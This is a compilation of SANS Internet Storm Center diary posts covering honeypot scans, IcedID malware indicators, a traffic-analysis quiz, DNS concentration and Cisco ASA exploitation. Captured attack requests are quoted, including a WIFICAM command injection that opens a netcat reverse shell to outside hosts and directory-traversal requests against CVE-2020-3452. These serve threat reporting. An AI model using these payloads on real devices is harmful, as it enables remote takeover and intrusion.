Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Scanning Activity Include Netcat Listener, (Sat, Aug 8th)

This post was originally published on this site

This activity started on the 5 July 2020 and has been active to this day only scanning against TCP port 81. The GET command is always the same except for the Netcat IP which has changed a few times since it started. If you have a webserver or a honeypot listening on TCP 81, this activity might be contained in your logs. I have included the URL to the IPDetails reported to ISC that shows similar activity from the same source IP address listed in this diary.

This activity appears to be related to the Wireless IP Camera (P2P) WIFICAM against 1250 camera models where a command injection in the set_ftp.cgi script via shell metacharacters in the pwd variable is possible and demonstrated in great details here. If you have one of these camera, the original author “[…] advise to IMMEDIATELY DISCONNECT cameras to the Internet.”1

An example of the GET request:

20200705-124822: 192.168.25.9:81-194.180.224.130:58732 data ‘GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=$(nc 94.102.49.26 1245 -e /bin/sh) HTTP/1.1nn’

Summary of Netcat Listener

Total           Command
86     nc 46.166.148.123 1245 -e /bin/sh
85     nc 2.57.122.196 1245 -e /bin/sh
59     nc 112.49.52.58 1245 -e /bin/sh
29     nc 193.228.91.123 1245 -e /bin/sh
14     nc 37.49.230.7 1245 -e /bin/sh
13     nc 93.157.62.102 1245 -e /bin/sh
 5     nc 45.95.168.190 1245 -e /bin/sh
 4     nc 37.49.230.133 1245 -e /bin/sh
 2     nc 45.143.220.55 1245 -e /bin/sh
 2     nc 94.102.49.26 1245 -e /bin/sh

Scanning Activity by Source

Total    Source IP
86     46.166.148.123 
85     2.57.122.196
59     112.49.52.58
29     193.228.91.123
14     37.49.230.7
13     93.157.62.102
 5     45.95.168.190
 4     37.49.230.133
 2     45.143.220.55
 1     94.102.49.26
 1     194.180.224.130

[1] https://nvd.nist.gov/vuln/detail/CVE-2017-18377
[2] https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

TA551 (Shathak) Word docs push IcedID (Bokbot), (Fri, Aug 7th)

This post was originally published on this site

Introduction

I’ve been tracking malicious Word documents from the TA551 (Shathak) campaign  This year, we’ve seen a lot of Valak malware from TA551, but in recent weeks this campaign has been pushing IcedID malware tp English-speaking targets.


Shown above: Flow chart for this campaign in recent weeks.

Today’s diary reviews an infected I generated in my lab using a Word document from this campaign on Thursday 2020-08-06.

Infection Activity

See the images below for a walk-through on the infection I generated in my lab.


Shown above:  Screenshot a Word document from the TA551 (Shathak) campaign on Thursday 2020-08-06.


Shown above:  TCP stream of HTTP traffic to retrieve the installer DLL after enabling macros on the Word document.


Shown above:  The installer DLL was saved as C:Users[username]AppDataLocalTempmain.theme and run using regsvr32.exe /s [filename].

NOTE: In some cases, the installer DLL will be saved as C:ProgramData1.tmp with a copy of certutil.exe sitting in the same directory saved as C:ProgramData1.exe.


Shown above:  Traffic from my lab infection filtered in Wireshark.


Shown above:  EXE for IcedID created by the installer DLL.


Shown above:  The IcedID EXE persistent on my infected lab host.


Shown above:  Another PNG image with encoded data related to the infection after the EXE is run.

Indicators of Compromise (IoCs)

The following are 26 Word documents from the TA551 (Shathak) campaign on Thursday 2020-08-06 (read: SHA256 hash  file name):

  • 74e802b554527a8d3bc212eb0b107a63197daa1987a6f8cdd1c9c8ddae269c86   adjure-08.06.2020.doc
  • b23322f71771729668c866c9e3772eddb428c3c5d68bfba9433da3fe63f0c286   adjure_08.20.doc
  • df144083cb485322e601c9b188c676b989e003f279fa9328b79ec713489968aa   adjure_08.20.doc
  • c6bc5f8db1173945fca0b270656b059c69559a939480561296776938be03730c   charge,08.20.doc
  • 0c57c1af0d46a31bb43a4881026c6f392ac53faac9780f6924dff91aed07d28d   command.08.20.doc
  • 65ae12426a34a5802ca0c627aa4749206e2a75b57d9f938c69112af9be55be1a   command_08.06.2020.doc
  • 48576d904ca6a41f7be143e6aa30a01e9577dde2f744ebe2a43579c05550cc4e   decree 08.06.2020.doc
  • 6e92b206fb95f1e58e078571fe46c8d36632bf9f265af2cea59c8f1c5e4fab7f   decree,08.20.doc
  • 9ea63df909a4947f18ae4e5d35cfea604905a275167de3d5418bc4917a27e281   dictate.08.20.doc
  • 6c371a63e61f8ee4e379d862bb96403eb10864463a517d6c6c423cb3ea296ce8   documents,08.06.2020.doc
  • 0642b8b82c8b1949da4dc684b6f75a180e942673ac9428383a39c3a9ef10e1ca   enjoin-08.06.20.doc
  • dfd2333edc0622b49a01367a1fa60a85d64456e6f53350010a11d2f175e90b0b   enjoin.08.06.2020.doc
  • f6d12ccf893cb4c51b3c049bb07c7e51f3c0f73f55379310459bdd89c5421edf   figures_08.20.doc
  • e64f5c95f57e265b882d1f3d8b17455ffac350ff7c4ee22bb9187a7e10ec66b4   file,08.20.doc
  • addd6c62f38bd5b004abed3cf7edfece4d002ca56a35539f2657754be291bbea   files.08.06.2020.doc
  • affd7dd7f9bd8ec763c8646123f414bd25e68352d742a5bd3904ffa42580cf9f   instruct-08.20.doc
  • b453fe2b22df0a3447c9f1e64d5e2c9d2c0ef6e1d6e47aaaca3b611e868c00d3   instrument indenture-08.06.2020.doc
  • 6d8dd12ffb7ee93a6cd9f1051e17a1087d66f070cc534454fb04d9d8c33bb90c   intelligence,08.06.2020.doc
  • 3fe92d49ce855b4f02a99ba5c4a89edd2255603a4e0b5d9f3cc8767dd0809066   legal agreement 08.20.doc
  • 6badbba16b4cad10bfbb2cc245f4d63c7781aa9678417df84078273a12d3eaa1   legal paper.08.06.20.doc
  • c187247c655ab22dc5e67fe174af4fca1e14cff224dc5b60beff948a8a297dd2   official paper_08.06.2020.doc
  • 24368bddac344e5579e583cf86053d53894542c18f67a718400f62ff56d5a674   report 08.20.doc
  • acd6793d8210f51004f617765bdd882544d389c5191f35470c7f2a2aa6e3a337   require,08.20.doc
  • a3ba4baa49060dd73324c9d6f63a67f23a13b466fae33f85ad7493d58c5f8e6a   rule,08.06.2020.doc
  • e48c527a596751834d830a7c663f8e6e14e7b9d8ee9edbc41d344f4bf1ecbd9c   specifics,08.20.doc
  • a611374f8b55cee7c3a6cf6f05bf074c66cbc234e6f4f07f18762eace713cf88   statistics_08.20.doc

We saw at least 12 domains hosting the installer DLL for IcedID on Thursday 2020-08-06:

  • ed9fb4[.]com
  • ch4ck0j[.]com
  • dywb3va[.]com
  • j9b8q8[.]com
  • osog5n[.]com
  • oyomc2z[.]com
  • pncq6h[.]com
  • pt48tir[.]com
  • scgi76[.]com
  • sv51gh[.]com
  • vebk1x[.]com
  • xk625lf[.]com

There were 18 possible HTTP GET requests for the installer DLL on Thursday 2020-08-06:

  • GET /pupi/gyru.php?l=taxef1.cab
  • GET /pupi/gyru.php?l=taxef2.cab
  • GET /pupi/gyru.php?l=taxef3.cab
  • GET /pupi/gyru.php?l=taxef4.cab
  • GET /pupi/gyru.php?l=taxef5.cab
  • GET /pupi/gyru.php?l=taxef6.cab
  • GET /pupi/gyru.php?l=taxef7.cab
  • GET /pupi/gyru.php?l=taxef8.cab
  • GET /pupi/gyru.php?l=taxef9.cab
  • GET /pupi/gyru.php?l=taxef10.cab
  • GET /pupi/gyru.php?l=taxef11.cab
  • GET /pupi/gyru.php?l=taxef12.cab
  • GET /pupi/gyru.php?l=taxef13.cab
  • GET /pupi/gyru.php?l=taxef14.cab
  • GET /pupi/gyru.php?l=taxef15.cab
  • GET /pupi/gyru.php?l=taxef16.cab
  • GET /pupi/gyru.php?l=taxef17.cab
  • GET /pupi/gyru.php?l=taxef18.cab

The following are four SHA256 hashes for the installer DLL for IcedID seen on Thursday 2020-08-06:

  • 66471bb23ffb948309e48e5316f37da19938dcca7e0f1687e1ca5882fe16865f
  • 83d98c2bf9d4d544aa67e0610c7e6b6a4829e201b5878e30b7d11729f90c358e
  • ab74fb431a13b818341dce88c95cde771d096b5e5c93ccba33249e264ebfe9c4
  • b947929a2eb373ca547896b5bb3932140a51fdf68a093ac78407e19b9659b5aa

We saw two locations for the installer DLL on an infected Windows host:

  • C:ProgramData1.tmp
  • C:Users[username]AppDataLocalTempmain.theme

The following are malware/artifacts for the IcedID portion of the infection on Thursday 2020-08-06:

  • SHA256 hash: 9855f48a5449f3d156ade176ba56e57094f654f5ea974cbdf90a4ab79dd6125e
  • File size: 366,407 bytes
  • File location: C:Users[username]AppDataLocalTemp~1282690640.tmp
  • File type: PNG image data, 494 x 396, 8-bit/color RGB, non-interlaced
  • File description: PNG image with encoded data used by IcedID installer DLL to create IcedID EXE

SHA256 hash: 379eba5d8122133d69c864cc01dd3a7be50c976be5616372dd065c2c52c08b5f

  • File size: 361,984 bytes
  • File location: C:Users[username]AppDataLocalTemp~1282795140.exe
  • File description: IcedID EXE created by the IcedID installer DLL

SHA256 hash: ba2ca8258dd95cecc853ae56ff339d70f5af851f4bdef53ff8bf9998817f68da

  • File size: 673,413 bytes
  • File location: C:Users[username]AppDataLocal[username][username]Ifdouxac.png
  • File type: PNG image data, 736 x 591, 8-bit/color RGB, non-interlaced
  • File description: PNG image with encoded data created when IcedID EXE was first run

SHA256 hash: f1bb1db729644b0135c8ad3e124a8d1b79755b027cda3b12c8200b31a6720069

  • File size: 361,984 bytes
  • File location: C:Users[username]AppDataRoamingqehaap[username]laaposkc32.exe
  • File description: IcedID EXE persistent on the infected Windows host

HTTPS traffic caused by the installer DLL for IcedID:

  • port 443 – help.twitter.com   (not inherently malicious)
  • port 443 – support.apple.com   (not inherently malicious)
  • port 443 – www.intel.com   (not inherently malicious)
  • port 443 – support.microsoft.com   (not inherently malicious)
  • 128.199.198[.]227 port 443 – northkorisla[.]co

HTTPS traffic caused by the IcedID EXE:

  • 94.100.18[.]58 port 443 – qazyaquanauti[.]co
  • 94.100.18[.]58 port 443 – leaderfreeder[.]co
  • 94.100.18[.]58 port 443 – juveperdhue[.]top

Final words

All of the associated malware and artifacts (the two PNG files are not malicious on their own) have been submitted to the MalwareBazaar database and can be retrieved there.


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Traffic Analysis Quiz: What’s the Malware From This Infection?, (Wed, Aug 5th)

This post was originally published on this site

Introduction

Today’s diary is a traffic analysis quiz where you try to identify the malware based on a pcap of traffic from an infected Windows host.  Download the pcap from this page, which also has the alerts.  Don’t open or review the alerts yet, because they give away the answer.

Meanwhile, I’ll provide the requirements for this quiz and some background on the infection.


Shown above:  Screenshot of the pcap for this quiz opened in Wireshark.

Requirements

This type of analysis requires Wireshark.  Wireshark is my tool of choice to review packet captures (pcaps) of infection activity.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That’s why I encourage people to customize Wireshark after installing it.  To help, I’ve written a series of tutorials.  The ones most helpful for this quiz are:

Another requirement: use a non-Windows environment like BSD, Linux, or macOS.  Why?  Because this pcap contains HTTP traffic sending Windows-based malware.  If you’re using a Windows host to review the pcap, your antivirus (or Windows Defender) may delete the pcap or malware.  Worst case?  If you extract the malware from the pcap and accidentally run it, you might infect your Windows computer.

So if you’re new to this type of analysis, beware.  There’s malware involved.

Background on the infection

This infection was caused by a malicious Excel spreadsheet.  It has macros designed to infect a vulnerable Windows host, so I infected one in my lab.  Default settings in recent versions of Microsoft Office would prevent these type of macros from causing an infection.  This is much more effective against older versions of Windows like Windows 7.


Shown above:  Screenshot of the spreadsheet used for this infection.

Enabling macros on this spreadsheet caused my vulnerable host to download a malicious Windows executable (EXE) and save it as C:UsersPublicsvchost32.exe where it was initially run.


Shown above:  The initial location of the malicious EXE on my infected lab host.

After a minute or two, the malware was deleted from C:UsersPublicsvchost32.exe and saved under a randomly-named directory under C:Program Files (x86) using a random file name.  The directory and new file name are different for each infection.  The malware was made persistent through an update to the Windows registry as shown below.


Shown above:  Windows registry update and location of the malware persistent on my infected host.

This method is used by different families of malware.  The chain of events:

  • Victim receives a malicious Microsoft Office document (usually an Excel spreadsheet or Word document)
  • Victim enables macros on a vulnerable Windows host
  • Vulnerable Windows host retrieves a Windows EXE or DLL through web-based traffic
  • EXE or DLL is saved to disc
  • The EXE or DLL infects the vulnerable Windows host and is made persistent

Fortunately, this chain is rarely effective against an up-to-date version of Windows with default security settings.  In this case, Microsoft Office would not run the macro unless I disabled some key security functions.


Shown above:  Warning message I initially saw on my lab host.

Reviewing the pcap

If you’ve set up Wireshark according to the previously-mentioned tutorials, open the pcap and use the basic web filter to find an HTTP request to aromaterapiaclinicabrasil[.]com[.]br on 162.214.51[.]208.


Shown above:  Traffic from the quiz pcap filtered in Wireshark.

This HTTP request ends with .jpg, but it returned an EXE.  Left click on that line and follow the TCP stream, so we can confirm this is, in fact, an EXE.


Shown above:  HTTP request ending with .jpg returns a Windows EXE or DLL.

Is this is an EXE, or is it a DLL?  They both look the same in a TCP stream.  The ASCII characters MZ show as the first two bytes, and This program must be run under Win32 could be used by an EXE, or it could be used by a DLL.  To get more information on the file, we can explort it from the pcap.  A word of caution: this is Windows malware, so you should export this file in a non-Windows environment.

Use the menu path File –> Export Objects –> HTTP and export the file returned from aromaterapiaclinicabrasil[.]com[.]br as shown in the next two images.


Shown above:  Exporting objects from HTTP traffic in the pcap.


Shown above:  Saving the file returned from aromaterapiaclinicabrasil[.]com[.]br.

In a Linux environment, it’s easy to confirm what type of file this is.  Use the file command in a terminal window.  Get the SHA256 hash of the file using the shasum -a 256 command as shown below.  I prefer a Debian or Ubuntu-based Linux environment, but any Linux environment will do.


Shown above:  Using a terminal window to confirm this is an EXE and get the SHA256 hash.

Once you have the SHA256 hash, search for it in VirusTotal or publicly-available online sandboxes like app.any.run, capesandbox.com, and other sites. You can also do a Google search.


Shown above:  Google results when I searched for the SHA256 hash of the EXE.

Keep in mind the Office document is a delivery mechanism.  The actual malware is based on the EXE retrieved after enabling macros.  What is the malware family in this case?  The answer is not as straight-forward as you might think.  Different vendors often have their own names for the same type of malware.  In this case, alerts from the post-infection traffic will reveal what family of malware caused this infection.


Shown above:  Alerts from the infection using Security Onion with Suricata and the EmergingThreats Pro (ETPRO) ruleset.

Final words

If you’re an experienced malware analyst, this quiz might provide a minute or two of interest.  If you’re tempted to immediately know the answer, just review the alerts and find ones for the CnC traffic.  If you’re new to this type of analysis, hopefully this quiz has helped.

Once again, a pcap of the traffic and the associated alerts are located here

A copy of the spreadsheet that caused this traffic can be found here.

A copy of the EXE can be found here.


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Internet Choke Points: Concentration of Authoritative Name Servers, (Tue, Aug 4th)

This post was originally published on this site

A utopian vision of the Internet often describes it as a distributed partnership of equals giving everybody the ability to publish and discover information worldwide. This open, democratic Internet is often little more than an imaginary legacy construct that may have existed at some time in the distant past, if ever. Reality: Today, the Internet is governed by a few large entities. Diverse interconnectivity and content distribution were also supposed to make the Internet more robust. But as it has been shown over and over again, a simple misconfiguration at a single significant player will cause large parts of the network to disappear. 

Today, I played a bit with top-level domain zone files that I have been investigating recently. I have been looking at close to 900 different zones. Many of them are meaningless and not used, but it also included the big once like .com, .top (yes. this is the 2nd largest zone now), .net and .org. Any guesses on the 5th largest zone file? Either way, for this experiment, I extracted the NS records, and also A/AAAA records for all these TLDs. These are about 477 Million records and 2.7 Million different name server hostnames. These hostnames resolve to 1 Million IPv4 IPs (ok.. so many of these “redundant” name servers resolve to the same IP. No news here)., and only 37k AAAA records (showing how much more fragile the IPv6 internet is).

Note that we are talking about authoritative name servers here, not recursive name servers (which may have similar concentration issues with the increased popularity of services like Cloudflare, OpenDNS, and Quad9).

Now the real problem: How many name servers, out of 2.7 Million, does it take to “turn off” 80% of the Internet. Good old overused Pareto rule would tell us 20% (roughly 550000). Wrong… It only takes 2,302 name servers or about 0.084%! 0.35 % of nameservers are responsible for 90% of all domain names.

This ratio does not change substantially if I use IP addresses or if I try to summarize name servers owned by different organizations. But a simple misconfiguration at one major DNS provider (see Cloudflare a couple of weeks ago) or a DDoS attack against one (DYN and Mirai) will bring down large parts of the “Internet” or at least make them accessible to people who can’t remember IP addresses (maybe making the Internet a safer place in the end).

Here are a couple of graphs to illustrate this issue.

While not necessarily the most intuitive way to look at this data, but the only way to actually display the data in a meaningful way is to use a logarithmic x-axis. Note that 80% is around 380 Million (3.8×10^8).

lograithmic number of name servers and records

Zooming in on the first 5,000 name servers will give us a bit better insight into how many domains they are responsible for. The green line (just like above) follows the cumulative number of NS records represented by the name servers. The red line indicates 80%, and the blue line 90%.

first 5000 hosts

And for effect, the entire dataset using a linear scale. Note how the green line is mostly horizontal.

So what can you learn from this: Using a cloud-based DNS service is simple and often more reliable than running your name server. But this large concentration of name services with few entities increases the risk to the infrastructure substantially. Couple ways to mitigate this risk:

  • Keep secondary name servers for zones you rely on in-house (this can be tricky for cloud providers you rely on. but you can try it for your domains and maybe some partners)
  • Use more than one DNS provider. A second provider should not be difficult to set up if you use a second provider and configure the name servers as secondary to your primary name servers.
Provider Number of records
Godaddy (domaincontrol.com) 94,536,346
Google Domains 20,134,705
dns.com (Xiamen Diensi) 15,642,026
IONOS (ui-dns) 15,599,972
hichina 15,118,733
Cloudflare 13,759,936
enom.com / registrar-servers.com 11,159,866
wixdns.net 9,170,163
name-services.com 7.334.904
namebrightnds.com 7.321,327


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reminder: Patch Cisco ASA / FTD Devices (CVE-2020-3452). Exploitation Continues , (Tue, Aug 4th)

This post was originally published on this site

Just a quick reminder: We are continuing to see small numbers of exploit attempts against CVE-2020-3452. Cisco patched this directory traversal vulnerability in its Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) software. The exploit is rather simple and currently used to find vulnerable systems by reading benign LUA source code files. 

Example attempts:

GET /+CSCOE+/translation-table?=mst&textdomain=/%bCSCOE%2b/portalinc.lua@default-languaqe&lang=../ HTTP/1.1
GET /+CSCOE+/translation-table?=mst&textdomain=/+CSCOE+/portal_inc.lua@default-languaqe&lang=../
GET /translation-table?=mst&textdomain=

Out honeypot isn’t emulating this vulnerability well right now, so we are not seeing followup attacks.


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.